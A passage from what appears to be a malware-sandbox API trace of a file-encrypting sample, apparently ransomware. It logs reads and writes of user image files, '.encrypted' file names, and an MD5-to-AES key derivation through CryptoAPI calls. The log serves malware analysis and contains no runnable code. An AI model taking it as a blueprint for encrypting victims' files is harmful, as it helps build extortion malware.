lpNewFilePointer=0xe8f3dff0c0*=9798) returned 1 [0028.796] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.796] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.797] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.797] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2646, lpOverlapped=0x0) returned 1 [0028.797] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.797] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2646, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.797] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9798) returned 1 [0028.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\U1Bz6duC.encrypted.png\r\n", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0028.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\U1Bz6duC.encrypted.png\r\n", cchWideChar=60, lpMultiByteStr=0xe8f4052120, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\U1Bz6duC.encrypted.png\r\n", lpUsedDefaultChar=0x0) returned 60 [0028.797] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40521c0*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40521c0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3b, lpOverlapped=0x0) returned 1 [0028.798] CloseHandle (hObject=0x1fc) returned 1 [0028.798] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.798] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.799] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.799] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.799] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.799] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.799] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.800] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.800] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.800] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a80, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.801] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\uVzP9c0xe2uNMUaJ6.gif", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0028.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\uVzP9c0xe2uNMUaJ6.gif", cchWideChar=57, lpMultiByteStr=0xe8f40519f0, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\uVzP9c0xe2uNMUaJ6.gif", lpUsedDefaultChar=0x0) returned 57 [0028.801] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\uVzP9c0xe2uNMUaJ6.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\uvzp9c0xe2unmuaj6.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=57, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0028.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=57, lpWideCharStr=0xe8f4065870, cchWideChar=57 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\uVzP9c0xe2uNMUaJ6.gif") returned 57 [0028.801] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.802] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.802] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.802] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.802] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.803] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.803] CloseHandle (hObject=0x1fc) returned 1 [0028.803] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.803] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.803] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.803] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.803] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.803] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.803] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.803] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.803] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.803] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.803] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.804] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.804] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.804] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.804] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.804] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.804] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.804] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.804] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.805] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.805] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.805] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.805] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.805] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.805] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.805] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.806] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.806] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.806] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.806] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.806] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.806] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.806] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.806] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.806] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b360, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.806] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.807] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.807] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.807] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.807] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.807] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.807] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0028.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.807] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.807] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.807] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.807] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0028.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.808] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 